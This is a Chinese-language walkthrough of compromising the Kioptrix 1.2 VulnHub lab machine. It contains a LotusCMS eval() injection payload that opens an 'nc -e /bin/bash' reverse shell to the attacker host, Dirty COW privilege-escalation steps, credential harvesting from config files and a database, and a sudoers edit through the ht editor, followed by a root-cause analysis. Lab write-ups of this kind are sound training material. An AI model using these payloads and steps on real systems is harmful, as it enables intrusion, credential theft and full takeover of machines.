&lt;p&gt;&lt;strong&gt;待跟进（权限立足阶段）&lt;/strong&gt;：查询 LotusCMS 已知 CVE / 公开 EXP&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h4&gt;留言板&lt;/h4&gt;
&lt;p&gt;页面存在文本输入框，疑似可注入点（update 注入待验证），目前优先级没前几个页面高，没有测试，可以留做备用突破点&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;URL:&lt;/strong&gt; &lt;code&gt;http://192.168.200.156/index.php?system=Blog&amp;amp;post=1281005380&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Kioptrix1.2/image-20260428211005131.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;目录扫描&lt;/h3&gt;
&lt;p&gt;工具：Dirsearch&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[08:48:19] 403 -  333B  - /.httr-oauth
[08:48:27] 301 -  357B  - /cache  -&amp;gt;  http://192.168.200.156/cache/
[08:48:28] 200 -  688B  - /core/fragments/moduleInfo.phtml
[08:48:28] 301 -  356B  - /core  -&amp;gt;  http://192.168.200.156/core/
[08:48:28] 403 -  326B  - /data
[08:48:28] 403 -  327B  - /data/
[08:48:28] 403 -  338B  - /data/adminer.php
[08:48:28] 403 -  338B  - /data/autosuggest
[08:48:28] 403 -  335B  - /data/backups/
[08:48:28] 403 -  333B  - /data/cache/
[08:48:28] 403 -  333B  - /data/debug/
[08:48:28] 403 -  351B  - /data/DoctrineORMModule/cache/
[08:48:28] 403 -  332B  - /data/logs/
[08:48:28] 403 -  351B  - /data/DoctrineORMModule/Proxy/
[08:48:28] 403 -  333B  - /data/files/
[08:48:28] 403 -  336B  - /data/sessions/
[08:48:28] 403 -  331B  - /data/tmp/
[08:48:30] 200 -   23KB - /favicon.ico
[08:48:31] 301 -  359B  - /gallery  -&amp;gt;  http://192.168.200.156/gallery/
[08:48:35] 301 -  359B  - /modules  -&amp;gt;  http://192.168.200.156/modules/
[08:48:35] 200 -    2KB - /modules/
[08:48:38] 301 -  362B  - /phpmyadmin  -&amp;gt;  http://192.168.200.156/phpmyadmin/
[08:48:39] 401 -  521B  - /phpmyadmin/scripts/setup.php
[08:48:39] 200 -    8KB - /phpmyadmin/
[08:48:39] 200 -    8KB - /phpmyadmin/index.php
[08:48:41] 403 -  335B  - /server-status
[08:48:41] 403 -  336B  - /server-status/
[08:48:43] 301 -  357B  - /style  -&amp;gt;  http://192.168.200.156/style/
[08:48:45] 200 -   18B  - /update.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;人工筛选&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;=== 状态码 200（高利用价值）
http://192.168.200.156/update.php		# 升级脚本
http://192.168.200.156/phpmyadmin/		# phpMyAdmin 登入界面
http://192.168.200.156/favicon.ico		# 网站图标，可通过计算 Hash 值（如 mmh3）来识别 CMS 或 Web 框架类型

=== 状态码 301/302（重定向）
http://192.168.200.156/phpmyadmin -&amp;gt; http://192.168.200.156/phpmyadmin/
http://192.168.200.156/core -&amp;gt; http://192.168.200.156/core/
http://192.168.200.156/gallery -&amp;gt; http://192.168.200.156/gallery/
http://192.168.200.156/style -&amp;gt; http://192.168.200.156/style/
http://192.168.200.156/cache -&amp;gt; http://192.168.200.156/cache/
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;2. 权限立足&lt;/h1&gt;
&lt;p&gt;在登入界面看到提示  （Proudly Powered by: &lt;a href=&quot;http://www.lotuscms.org&quot;&gt;LotusCMS&lt;/a&gt;）, 结合网站主页底部 @2011 缩小范围，上网搜寻 EXP 和 POC。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2.1 操作过程思维导图&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./img/Kioptrix1.2/image-20260430135903317.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2.2 漏洞情报收集&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;相关文章链接：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;https://nvd.nist.gov/vuln/detail/CVE-2011-0518&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;https://www.exploit-db.com/exploits/18565&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;https://www.exploit-db.com/exploits/16982&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/multi/http/lcms_php_exec&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;EXP:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;https://github.com/murhussain/Mur-Kioptrix-LotusCMS-Exploit&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;https://github.com/nguyen-ngo/LotusCMS-3.0-RCE-exploit&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;https://www.exploit-db.com/exploits/15964&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;2.3 漏洞利用&lt;/h2&gt;
&lt;h3&gt;执行 payload&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;curl -X POST &quot;http://192.168.200.156/index.php&quot; \
-d &quot;page=index&apos;);\${passthru(&apos;nc -e /bin/bash 192.168.200.142 4444&apos;)};//&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;连接反弹 shell&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./img/Kioptrix1.2/image-20260429193827156.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;3. 提权&lt;/h1&gt;
&lt;h2&gt;3.1 信息收集&lt;/h2&gt;
&lt;h3&gt;获得 www-data 的反弹 shell 后，提升交互方式：&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 4444                                                
listening on [any] 4444 ...
connect to [192.168.200.142] from (UNKNOWN) [192.168.200.156] 47095

# 提升交互式 Shell
python -c &apos;import pty;pty.spawn(&quot;/bin/bash&quot;)&apos;
www-data@Kioptrix3:/home/www/kioptrix3.com$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;系统层信息枚举：&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;www-data@Kioptrix3:/home/www/kioptrix3.com$ whoami
www-data

www-data@Kioptrix3:/home/www/kioptrix3.com$ uname -a
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;有效提权信息列举：&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 列出具有 SUID 权限的用户
www-data@Kioptrix3:/home/www/kioptrix3.com$ find / -perm -u=s -type f 2&amp;gt;/dev/null
&amp;lt;w/kioptrix3.com$ find / -perm -u=s -type f 2&amp;gt;/dev/null                      
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
# ... 省略一些内容，无有效利用信息
/bin/umount
/bin/ping6
/bin/su

# 查看计划任务
www-data@Kioptrix3:/home/www/kioptrix3.com$ cat /etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.monthly )
#
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;3.2 敏感信息泄露（补充枚举）&lt;/h2&gt;
&lt;p&gt;在着手内核提权前，对 Web 目录的配置文件进行了排查，成功收集到了数据库的高权限凭据：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@Kioptrix3:/home/www/kioptrix3.com$ find . -name &quot;*conf*&quot;
./gallery/gconfig.php
# ...省略部分输出...

www-data@Kioptrix3:/home/www/kioptrix3.com$ cat ./gallery/gconfig.php
# 提取出数据库连接凭据
$GLOBALS[&quot;gallarific_mysql_server&quot;] = &quot;localhost&quot;;
$GLOBALS[&quot;gallarific_mysql_database&quot;] = &quot;gallery&quot;;
$GLOBALS[&quot;gallarific_mysql_username&quot;] = &quot;root&quot;;
$GLOBALS[&quot;gallarific_mysql_password&quot;] = &quot;fuckeyou&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;同时记录到可能的管理员凭据组合：&lt;code&gt;admin | n0t7t1k4&lt;/code&gt;。这些凭据可作为提权失败时的备用横向/纵向移动手段。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./img/Kioptrix1.2/image-20260429195404838.png&quot; alt=&quot;博客后台密码&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3.3 内核漏洞提权&lt;/h2&gt;
&lt;p&gt;由于在 SUID 权限和计划任务的信息收集上没有找到有效信息，我决定使用内核提权来获得 Root Shell。针对内核 &lt;code&gt;2.6.24&lt;/code&gt;，在攻击机搜索可用的漏洞利用代码，锁定目标为 Dirty COW 提权系列。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulnhub/Kioptrix1.2]
└─$ searchsploit linux kernel 2.6.24 | grep &quot;Dirty COW&quot;
Linux Kernel 2.6.22 &amp;lt; 3.9 - &apos;Dirty COW /proc/self/mem&apos; Race Condition Privilege Esca | linux/local/40616.c
Linux Kernel 2.6.22 &amp;lt; 3.9 - &apos;Dirty COW&apos; &apos;PTRACE_POKEDATA&apos; Race Condition Privilege Escalation  | linux/local/40839.c
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;&lt;strong&gt;踩坑记录：40616.c 编译失败&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;首先尝试了 &lt;code&gt;40616.c&lt;/code&gt;，但在靶机上编译时触发了大量结构体未定义的报错（&lt;code&gt;invalid use of undefined type &apos;struct stat&apos;&lt;/code&gt;）。由于靶机环境过于老旧，缺失必要的头文件依赖，果断放弃该 EXP，换用兼容性更好的 &lt;strong&gt;40839.c&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 无法编译

www-data@Kioptrix3:/tmp$ gcc 40839.c -o exp
gcc 40839.c -o exp
40839.c:193:2: warning: no newline at end of file
/tmp/ccgHdB72.o: In function `generate_password_hash&apos;:
40839.c:(.text+0x16): undefined reference to `crypt&apos;
/tmp/ccgHdB72.o: In function `main&apos;:
40839.c:(.text+0x4be): undefined reference to `pthread_create&apos;
40839.c:(.text+0x4f4): undefined reference to `pthread_join&apos;
collect2: ld returned 1 exit status
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;实际操作步骤&lt;/h3&gt;
&lt;h4&gt;1. 攻击机准备与分发&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;searchsploit -m linux/local/40839.c

python3 -m http.server 8081
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2. 靶机下载与编译修复&lt;/h4&gt;
&lt;p&gt;在靶机 &lt;code&gt;/tmp&lt;/code&gt; 目录下载 EXP 并进行编译。&lt;strong&gt;注意&lt;/strong&gt;：直接使用 &lt;code&gt;gcc&lt;/code&gt; 会因为缺少线程库和加密库导致链接失败。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@Kioptrix3:/tmp$ wget http://192.168.200.142:8081/40839.c

# 第一次常规编译尝试（失败）
www-data@Kioptrix3:/tmp$ gcc 40839.c -o exp
/tmp/ccgHdB72.o: In function `generate_password_hash&apos;: undefined reference to `crypt&apos;
/tmp/ccgHdB72.o: In function `main&apos;: undefined reference to `pthread_create&apos;

# 添加必要的库参数进行编译（成功）
www-data@Kioptrix3:/tmp$ gcc -pthread 40839.c -o exp -lcrypt
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;注：&lt;code&gt;-pthread&lt;/code&gt; 用于链接多线程库以触发竞争条件，&lt;code&gt;-lcrypt&lt;/code&gt; 用于链接加密库以生成 &lt;code&gt;/etc/passwd&lt;/code&gt; 中的密码哈希。&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;3. 执行利用与权限验证&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;www-data@Kioptrix3:/tmp$ ./exp
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: [输入自定密码]

Complete line:
firefart:figsoZwws4Zu6:0:0:pwned:/root:/bin/bash

# 切换至覆写产生的特权账户
www-data@Kioptrix3:/tmp$ su firefart
Password: [输入自定密码]

firefart@Kioptrix3:/tmp# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@Kioptrix3:/tmp# whoami
firefart
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至此，Dirty COW 利用成功，成功获取最高系统权限。检查 &lt;code&gt;/etc/shadow&lt;/code&gt; 确认系统已被完全接管。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Kioptrix1.2/Snipaste_2026-04-29_20-18-49.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;提权路线思维导图&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./img/Kioptrix1.2/image-20260430112304804.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;4. 总结&lt;/h1&gt;
&lt;p&gt;这台靶机整体上我认为是偏简单的，我通过两个 exp 直接拿下。不过对于整个打靶思维来说，我的判断不够明确——我是在看到红笔视频标题里 CMS 那个关键词的一刻，才觉得去利用 exp 获得 Web Shell。在此之前，我一直想通过网站本身的探测去拿下 Web Shell，感觉这方面的思路不太行。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;回顾整个打靶过程：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 信息收集阶段&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先进行了常规端口扫描、详细信息扫描和漏洞扫描，但漏洞扫描比较慢。同时也对网页主目录进行了探测，发现它可能是一个类似于博客的网站。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 漏洞探测阶段&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;主页看上去存在文件包含或 SQL 注入的可能。这里有一个我没探测出来的点——网站其实是存在 SQL 注入的，但我测试的时候没整出报错。这是我要注意的一个点：&lt;code&gt;&apos; or 1=2&lt;/code&gt; 之类的报错方式是我当时没想到的。&lt;/p&gt;
&lt;p&gt;同时也进行了目录扫描，扫描到了 phpMyAdmin 的入口。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 获取 Web Shell 阶段&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过 exp 拿到了 Web Shell，并通过 Web Shell 登录了 MySQL 数据库（也可以通过扫描到的 phpMyAdmin 登录 MySQL 数据库）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 提权阶段（我的做法 vs 靶场预期做法）&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;我的做法&lt;/strong&gt;：直接用 Dirty COW 内核漏洞对 Linux 主机进行提权。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;靶场作者预期的做法&lt;/strong&gt;：拿到 Web Shell 后，对整个配置文件进行查询，最终找到 MySQL 的配置文件。登录数据库后，能发现 3 对密码，然后对这些密码进行破解，尝试是否可以作为 SSH 密码——最终得到一个权限比 www-data 更高的用户，再通过这个用户去进行后续的提权操作。&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;5. 补充&lt;/h1&gt;
&lt;h3&gt;为什么 gallery 目录有价值&lt;/h3&gt;
&lt;h4&gt;1. 它是一个独立的 CMS 应用&lt;/h4&gt;
&lt;p&gt;从首页源码里可以看到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;We&apos;ve revamped our website for the new release of the new gallery CMS we made&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;网站自己说了这是他们开发的 gallery 系统，&lt;strong&gt;独立应用 = 独立数据库配置&lt;/strong&gt;。&lt;/p&gt;
&lt;h4&gt;2. 任何 Web 应用都需要连接数据库&lt;/h4&gt;
&lt;p&gt;Gallery 要存图片信息、用户账号，就必须有一个配置文件告诉它：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;数据库在哪 / 用户名是什么 / 密码是什么
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个配置文件几乎 100% 存在。&lt;/p&gt;
&lt;h4&gt;3. 配置文件命名有规律&lt;/h4&gt;
&lt;p&gt;常见名字就那几个：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;config.php
gconfig.php
database.php
db.php
settings.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开发者习惯性命名，很好猜。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;更通用的渗透思维&lt;/h3&gt;
&lt;p&gt;拿到 Web Shell 之后，找密码的优先级顺序：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. 数据库配置文件  ← 明文密码，最直接
2. 用户目录下的 .bash_history  ← 可能有人敲过密码
3. /etc/passwd 和 shadow  ← 系统账号
4. 应用的 session / log 文件  ← 可能泄露信息
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;核心逻辑：开发者为了让程序自动连接数据库，密码必须以明文或可逆方式存在某个文件里。&lt;/strong&gt; 这是 Web 渗透中最稳定的信息来源之一。&lt;/p&gt;
&lt;h1&gt;6. 红笔追加操作（新提权方式）&lt;/h1&gt;
&lt;p&gt;发现 CMS 可以在 CLI 中用 searchsploit 查，这样我觉得会更快一点。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Kioptrix1.2/image-20260430140855864.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;具体的利用文章可以用 Google 和 GitHub 去搜索 &lt;code&gt;&amp;lt;cms&amp;gt; exploit&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Kioptrix1.2/image-20260430141214354.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;拿下 Web Shell 后网页后台的看到有用的目录，这里可以去访问这个后台，也就是说 phpMyAdmin 中的密码应该对应的是这个，不是登入也的那个我就说怎么一直登入不进去，回去尝试一下。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Kioptrix1.2/image-20260430141851362.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;试试这个 phpMyAdmin 的密码是不是可以直接登录 SSH 用户的密码.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh -o &quot;HostKeyAlgorithms=+ssh-rsa&quot; loneferret@192.168.200.156
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Kioptrix1.2/image-20260430142031571.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;6.1 数据库深度挖掘与凭据复用&lt;/h2&gt;
&lt;p&gt;在 Web 目录发现 &lt;code&gt;gallery&lt;/code&gt; 相关的配置文件后，顺藤摸瓜进入 MySQL 数据库，寻找可横向移动的凭据。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;数据库枚举：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema | 
| gallery            | 
| mysql              | 
+--------------------+
3 rows in set (0.00 sec)
mysql&amp;gt; use gallery;
use gallery;
Database changed
mysql&amp;gt; show tables;
show tables;
+----------------------+
| Tables_in_gallery    |
+----------------------+
| dev_accounts         | 
| gallarific_comments  | 
| gallarific_galleries | 
| gallarific_photos    | 
| gallarific_settings  | 
| gallarific_stats     | 
| gallarific_users     | 
+----------------------+
7 rows in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 &lt;code&gt;dev_accounts&lt;/code&gt; 和 &lt;code&gt;gallarific_users&lt;/code&gt; 表中成功提取到高价值账户信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; select * from dev_accounts;
select * from dev_accounts;
+----+------------+----------------------------------+
| id | username   | password                         |
+----+------------+----------------------------------+
|  1 | dreg       | 0d3eccfb887aabd50f243b3f155c0f85 | 
|  2 | loneferret | 5badcaf789d3d1d09794d8f021f40f0e | 
+----+------------+----------------------------------+
2 rows in set (0.00 sec)

mysql&amp;gt; select * from gallarific_users;
select * from gallarific_users;
+--------+----------+----------+-----------+-----------+----------+-------+------------+---------+-------------+-------+----------+
| userid | username | password | usertype  | firstname | lastname | email | datejoined | website | issuperuser | photo | joincode |
+--------+----------+----------+-----------+-----------+----------+-------+------------+---------+-------------+-------+----------+
|      1 | admin    | n0t7t1k4 | superuser | Super     | User     |       | 1302628616 |         |           1 |       |          | 
+--------+----------+----------+-----------+-----------+----------+-------+------------+---------+-------------+-------+----------+
1 row in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每一步拿到新的信息之后，都要权衡这个信息的优先级，对比之前操作的优先级，哪一步重要，哪一步不重要。
泄露出来的用户和密码在 Web 页面起到了什么作用？还是靶机作者故意留下的一个引入点&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;密码破解：&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;starwars         (loneferret)
Mast3r           (dreg)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;6.2 SSH 横向移动与环境破局&lt;/h2&gt;
&lt;p&gt;拿到系统用户的明文密码后，尝试直接通过 SSH 登录系统。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;踩坑记录：老旧 SSH 算法不兼容&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;由于靶机系统极老（Ubuntu 9.04），现代 Kali 的 SSH 客户端默认禁用了不安全的 RSA 密钥算法，直接连接会报错。需要追加 &lt;code&gt;-o &quot;HostKeyAlgorithms=+ssh-rsa&quot;&lt;/code&gt; 参数强制放行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulnhub/kioptrix1.2]
└─$ ssh -o &quot;HostKeyAlgorithms=+ssh-rsa&quot; loneferret@192.168.200.165
loneferret@192.168.200.165&apos;s password: # 输入 starwars
...
loneferret@Kioptrix3:~$ id
uid=1000(loneferret) gid=100(users) groups=100(users)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功以 &lt;code&gt;loneferret&lt;/code&gt; 身份登入系统，完成横向移动。&lt;/p&gt;
&lt;h2&gt;6.3 预期提权点：Sudo 配置逻辑漏洞&lt;/h2&gt;
&lt;p&gt;登入后，在用户家目录下发现了一封极具提示性的“公司内部信件”：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;loneferret@Kioptrix3:~$ cat CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command &apos;sudo ht&apos;.
Failure to do so will result in you immediate termination.

DG
CEO
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这封信件几乎是在“明示”靶机作者留下的后门。验证当前用户的 &lt;code&gt;sudo&lt;/code&gt; 权限：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
    (root) NOPASSWD: !/usr/bin/su      # 靶机作者刻意封堵了直接 su 提权
    (root) NOPASSWD: /usr/local/bin/ht # 留下了无需密码的 ht 编辑器最高权限
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;提权方向明确&lt;/strong&gt;：由于 HT 编辑器具有最高权限，可以直接使用 HT 编辑器修改 sudo 权限配置.&lt;/p&gt;
&lt;h2&gt;6.4 提权操作&lt;/h2&gt;
&lt;p&gt;1.运行 &lt;code&gt;sudo ht&lt;/code&gt; 启动编辑器。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo ht
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2.编辑 &lt;code&gt;/etc/sudoers&lt;/code&gt; 文件，在末尾追加提权规则：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;loneferret ALL=(ALL) NOPASSWD: /bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Kioptrix1.2/image-20260502152552238.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;保存退出后（F2 保存，F10 保存退出），直接生成 Root Shell：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;loneferret@Kioptrix3:~$ sudo /bin/bash
root@Kioptrix3:~# whoami
root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Kioptrix1.2/image-20260502152729887.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;至此，完美还原了靶机作者设计的初衷，提权彻底打穿。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;7. 漏洞原理分析&lt;/h1&gt;
&lt;h2&gt;7.1 漏洞概述&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;漏洞名称&lt;/strong&gt;：LotusCMS 3.0 eval() Remote Code Execution&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE 编号&lt;/strong&gt;：CVE-2011-0518&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;漏洞文件&lt;/strong&gt;：&lt;code&gt;core/lib/router.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;触发条件&lt;/strong&gt;：&lt;code&gt;magic_quotes_gpc = Off&lt;/code&gt;（PHP 默认配置）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;影响版本&lt;/strong&gt;：LotusCMS 3.0&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;7.2 漏洞文件源码&lt;/h2&gt;
&lt;p&gt;漏洞位于 &lt;code&gt;Router&lt;/code&gt; 类的构造函数，核心逻辑如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function Router() {
    // 从用户输入取值，无过滤
    $page   = $this-&amp;gt;getInputString(&quot;page&quot;, &quot;index&quot;);
    $plugin = $this-&amp;gt;getInputString(&quot;system&quot;, &quot;Page&quot;);

    if (file_exists(&quot;core/plugs/&quot;.$plugin.&quot;Starter.php&quot;)) {
        include(&quot;core/plugs/&quot;.$plugin.&quot;Starter.php&quot;);

        // 漏洞触发点：直接将用户输入拼入字符串后 eval 执行
        eval(&quot;new &quot;.$plugin.&quot;Starter(&apos;&quot;.$page.&quot;&apos;);&quot;);
    }
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;getInputString()&lt;/code&gt; 取值顺序为 GET → POST → Cookie → Session（&lt;code&gt;GPCS&lt;/code&gt;），两种传参方式均可触发漏洞。虽然内部调用了 &lt;code&gt;htmlentities()&lt;/code&gt;，但参数使用的是 &lt;code&gt;ENT_NOQUOTES&lt;/code&gt;，&lt;strong&gt;单引号和双引号均不会被转义&lt;/strong&gt;，这是漏洞能被利用的前提条件之一。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7.3 漏洞根源&lt;/h2&gt;
&lt;p&gt;漏洞根源在于&lt;code&gt;core/lib/router.php&lt;/code&gt;这一行拼接：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;eval(&quot;new &quot;.$plugin.&quot;Starter(&apos;&quot;.$page.&quot;&apos;);&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;eval()&lt;/code&gt; 接收一个字符串参数，将其作为 PHP 代码执行。字符串里可以包含多条用分号分隔的语句，PHP 会逐条全部执行。&lt;/p&gt;
&lt;p&gt;当 &lt;code&gt;$plugin&lt;/code&gt; 为默认值 &lt;code&gt;Page&lt;/code&gt;、&lt;code&gt;$page&lt;/code&gt; 为正常值 &lt;code&gt;index&lt;/code&gt; 时，eval 收到的字符串是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;new PageStarter(&apos;index&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是合法的 PHP，仅实例化一个对象。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题在于&lt;/strong&gt;：&lt;code&gt;$page&lt;/code&gt; 的值被直接拼入代码模板，没有任何转义或校验。模板结构如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;固定部分:   new PageStarter(&apos;    &apos;);
用户输入:                    ↑
                          $page 在这里
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用户的输入天生被夹在两个单引号之间，看似被&quot;锁住&quot;无法执行代码——但只要能破坏引号结构，就能逃出字符串，注入任意 PHP 语句。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7.4 payload 构造过程&lt;/h2&gt;
